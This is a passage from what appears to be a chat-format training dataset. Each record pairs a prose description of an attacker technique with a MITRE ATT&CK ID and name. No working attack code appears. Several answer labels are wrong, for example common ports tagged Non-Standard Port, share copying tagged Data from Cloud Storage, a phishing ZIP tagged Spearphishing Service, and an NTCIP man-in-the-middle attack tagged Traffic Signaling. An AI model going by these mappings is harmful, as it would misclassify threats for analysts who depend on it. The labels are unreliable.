                "role": "user",
                "content": "By leveraging the Control Panel applet, the threat actor runs a hidden VBS script through control.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a bypass of User Account Control (UAC) through an event viewer hack to run with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security logs indicated repeated SSH connections from an unusual IP address followed by privilege escalation commands."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin copies a custom password filter DLL to %SystemRoot%\\System32 and updates the registry to load it, allowing credential harvesting on password changes."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a malicious root certificate to the Windows Trusted Root Certification Authorities, allowing signed malware to run undetected."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script calls InstallUtil.exe with the /U flag to uninstall a legitimate service and replace it with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware searches the user's home directory for bash history logs to harvest stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group sets up a rogue AD controller to intercept Group Policy updates and inject malicious scripts into client machines."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT performed a supply chain attack by modifying third‑party libraries and signing the tampered versions with a stolen certificate."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects into the explorer process and uses SetWindowsHookEx to capture user input events from graphical applications."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used PowerShell to query Exchange Web Services and download all inbound and outbound messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-compromise activity includes creating a rule in Outlook that triggers the execution of a hidden Python script each time a message is moved to a designated folder."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages AS-REP roasting to collect Kerberos ticket grants for privileged accounts, then cracks them to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged the default \"admin\" account on the router to gain initial access without creating new credentials."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By taking advantage of an authentication bypass in a cloud service API, the attacker downloaded and installed additional malicious modules."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware hides its network traffic by using common ports and protocols typically allowed by firewalls."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a CVE to obtain the device's configuration files from the NVRAM."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script continuously performs heavy I/O operations on the endpoint's storage device, causing performance degradation and denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party library inserts malicious code into application logs, which are later parsed and executed."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before executing the ransomware, the code queries the system for the number of logged‑in users and aborts if only a single service account is present, indicating a virtual environment."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a lightweight LXC container to evade detection and run privileged commands on the target system."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages a custom decoding algorithm to reverse a proprietary encoding scheme applied to its payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies system startup parameters to force Safe Mode launch, thereby impairing the operating system's defenses."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a custom URL‑safe Base64 variant that swaps characters to avoid detection during exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a server‑side template injection flaw to inject defacement text into the rendered pages."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder disables Azure Monitor logs by turning off the diagnostic settings on the compromised virtual machines."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues a remote PowerShell command 'Get-WmiObject Win32_ComputerSystemProduct' to enumerate the system's manufacturer and model."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor swaps the original Windows kernel file (ntoskrnl.exe) with a tampered version that loads a rootkit at system startup."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware payload encrypted and then deleted backup files before exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor runs 'Get-WmiObject Win32_Product' to collect details about software installed on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages a compromised third‑party SaaS integration to acquire additional cloud API tokens."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party analytics script was used to harvest login credentials from the organization’s customer portal."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden process reads the Edge Chromium profile's 'Cookies' file to extract authentication tokens for various sites."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program changes the permissions on %SystemRoot%\\System32\\winevt\\Logs to prevent log writing."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses a previously harvested RDP Kerberos ticket to impersonate a legitimate user and hijack an active remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged OSINT techniques to map the physical locations of the target’s data centers."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates a short‑url redirection service to obscure the final malicious destination."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used the cloud provider's API to reassign IAM roles, granting themselves elevated privileges to modify compute resources."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor tampers with the ROMMON firmware, allowing persistence that survives reboots and firmware updates."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the InstallUtil tool to register a .NET service, achieving execution with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A worm extracts network share listings and copies shared documents to its own server."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abuse a vulnerable Oracle database listener by sending malformed connection strings, leading to remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider leaked a code signing private key, enabling the attacker to sign unsigned payloads."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a credential stuffing attack to obtain a low‑privilege Confluence user and then reads sensitive wiki pages."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses the Control Panel program setpnp.exe with specially crafted arguments to trigger execution of a payload."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a man-in-the-middle attack on the NTCIP protocol to inject malicious commands into traffic signal controllers."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails are sent to high‑value targets with a disguised ZIP file that extracts a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a lateral movement campaign, the malicious executable is named with an RLO character so that Windows Explorer shows only a benign-looking name."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads SSH private key files from a backup archive and uploads them to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the GRUB bootloader on Linux systems to execute a payload before the kernel boots."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the COM add‑in registration mechanism to execute a trojanized Word add‑in during document editing."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors schedule a recurring cron job that runs a reverse shell payload at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group exploited a legitimate software deployment tool, PDQ Deploy, to distribute a custom-built RAT to all Windows servers in the network."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By invoking the Windows API function NetUserGetGroups, the malicious code gathers group membership data for a specific user."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a double‑extension technique, naming the file \"invoice.docx.exe\" to masquerade as a Word document while actually being an executable."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes using network discovery tools to chart the internal network map, including VLAN configurations."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers harvested employee usernames by analyzing the company’s email signatures posted on the web."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker loads a malicious DLL into a running process using reflective injection to execute code."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious Office add‑in manifest file to register a new add‑in for Word, which executes a PowerShell script on startup."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracts a credential‑dumping utility from a GitHub repository to use in credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor physically delivers a compromised external hard drive to the target organization, which is later connected to a confidential server."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the DirectShow framework to enumerate video capture devices and start recording without displaying any UI indicators."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates fake Windows Event Viewer alerts that mimic legitimate antivirus warnings to distract the analyst."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder uses PsExec to execute a payload on a target workstation from a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising a cloud identity provider, the threat actor issues forged authentication tokens that grant unauthorized access to on-premises resources."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the SID-History of a domain account to elevate privileges on the target system."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group runs a Python routine that unpacks compressed archives and then interprets the hidden payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan employs Windows messages (WM_COPYDATA) to send data between its components without using network sockets."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a trusted relationship with a business partner to obtain privileged network device credentials and reconfigure routing for data interception."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script abuses a system call to create a denial-of-service condition on the endpoint's core services."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploads stolen files to a public web service and never receives any data back, using a one-way HTTP POST for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By corrupting a shared script used across different services, the adversary ensures the malicious script runs whenever the services execute it."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a web application, the attacker steals OAuth refresh tokens and uses them to generate new access tokens for API calls."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample establishes successive HTTP proxies on infected machines, forwarding its traffic through at least two intermediate proxies to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script removed all email artifacts from Gmail accounts by calling the Gmail API's delete messages function."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor exfiltrates system logs by tunneling them through the SSH channel that also carries its C2 commands."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code stores service account credentials in the registry under HKEY_CURRENT_USER\\Software\\Microsoft\\Credentials to maintain persistence."
            },
            {
